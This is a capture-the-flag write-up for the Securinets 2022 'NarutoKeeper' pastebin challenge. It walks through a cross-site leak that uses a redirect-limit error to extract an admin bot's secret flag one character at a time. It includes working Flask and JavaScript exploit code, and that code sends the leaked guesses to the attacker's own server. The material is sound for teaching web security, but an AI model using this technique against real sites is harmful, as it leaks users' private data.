Securinets CTF Quals 2022 - NarutoKeeper

April 11, 2022

NarutoKeeper

Preamble

This writeup is probably much more verbose than it needs to be, but I wanted to include my (nearly) complete thought and exploitation process from start to finish in hopes that somebody may read this and benefit from it.

Application Overview

The website is a typical pastebin app created with flask. After registering an account, the functionality is limited to creating pastes and searching your pastes, as well reporting a given url for the admin bot to visit.

Solution

tl;dr:

When a search returns results a redirect is triggered, but if there are no results there is no redirect. Thus, an attacker can leak the flag character by character by making the bot access the search page and detecting whether or not there was a redirect.

Useless(?) HTML Injection

The first thing to try with any pastebin challenge is XSS. Creating a paste with a simple <script>alert()</script> payload meets us with the following:

csp

Of course its not that simple. We can inject HTML, but there is a solid enough CSP preventing any meaningful exploitation without a method of hosting our own js on the website: <meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">. Our only potential use of this is causing a redirect via HTML, but we can already point the bot to any URL, so this is not needed for our solution.

The Search Feature

Experimentation

After checking the source, we know that the flag is stored in a paste belonging to the admin bot. To aid in testing, I created a paste with a dummy flag: Securinets{a_test_flag}. Upon searching for Securinets, we are brought to /view?id=Found&paste=<script>alert()</script>:

found

Interestingly, the content of our earlier paste is reflected on the page. However, the same CSP is on this page as well, so there isn’t much use there.

Searching for Securinets{not_the_flag}, a string which is not found in any of our pastes, does not bring us anywhere, and instead simply displays “No results found.”

not found

The Key Takeaways

  • A search string which is found in any of the user’s pastes will result in a redirect
  • A search string which is not found in any of the user’s pastes will not result in a redirect
  • The search query is sent via GET parameter

With these points in mind, the solution is clear: send the bot to the search page with a guessed character of the flag (ex: /search?query=Securinets{x) and detect whether or not there is a redirect.

Developing an Exploit

ERR_TOO_MANY_REDIRECTS

If Google Chrome redirects more than 20 times in a row, it aborts and gives an error. To test, I created a simple Flask server which will redirect 20 times:

from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/')
def index():
    i = int(request.args.get('x') or 0)
    if i < 21:
        return redirect(f'/?x={i+1}')
    return 'console.log("did not error")'

app.run('0.0.0.0', 4444)

As well as some javascript to test detection via script onerror events:

var script1 = document.createElement('script');
script1.src = 'http://localhost:4444/';
script1.onerror = () => { console.log('script1 error detected') };

var script2 = document.createElement('script');
script2.src = 'http://localhost:4444/?x=1'; // only redirect 20 times
script2.onerror = () => { console.log('script2 error detected') };

document.body.appendChild(script1);
document.body.appendChild(script2);

When running the above javascript, script1 will be redirected 21 times, while script2 will redirect 20 times. This results in the script1 error event firing, while script2 successfully loads the javascript hosted on the Flask server.

over 20 redirects = error

Therefore, we can redirect 19 times before finally redirecting to the search page. If the search page then redirects again, it will cause an error event, indicating that the search returned results.

A Proof of Concept

Only slight modification to our Flask server and javascript is needed to form a working PoC.

The flask server now redirects to itself 19 times before finally redirecting to the search page with a given search query:

from flask import Flask, redirect, request

app = Flask(__name__)

final_url = 'https://20.124.0.135/search?query='

@app.route('/')
def index():
    i = int(request.args.get('x') or 0)
    flag = request.args.get('flag')
    if i < 19:
        return redirect(f'/?x={i+1}&flag={flag}')
    return redirect(final_url + flag)

app.run('0.0.0.0', 4444)

And I also created a simple js function to test a given string:

function testFlag(test_flag) {
        var script = document.createElement('script');
        script.src = `http://localhost:4444/?flag=${test_flag}`;
        script.onerror = () => { console.log(`leaked ${test_flag}`) };
        script.onload = () => { console.log(`did not leak ${test_flag}`) };
        document.body.appendChild(script);
};

testFlag('Securinets{a_test_flag}');
testFlag('definitely_not_the_flag');

The above js outputs the following, as expected:

introducing search to our tests

Semi-Automating the Exploit

Now, we just need to update the javascript to test for every character at once and give an output we can view once a character is found

chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_}';
flag = 'Securinets{'

function testFlag(test_flag) {
        var script = document.createElement('script');
        script.src = `http://downgrade.ml:4444/?flag=${test_flag}`;
        script.onerror = () => { fetch(`/leak?flag=${test_flag}`) };
        document.body.appendChild(script);
};

for (let c of chars){
        testFlag(flag + c);
};

Sending the bot to the server gives us the first character of the flag:

first char of the flag

We can update the flag in the javascript and repeat the process until we receive the full flag.

full flag

Further exploit improvement would be compacting into a single python script and extracting more than just one character at a time, but I will leave this as an exercise for the reader. ;)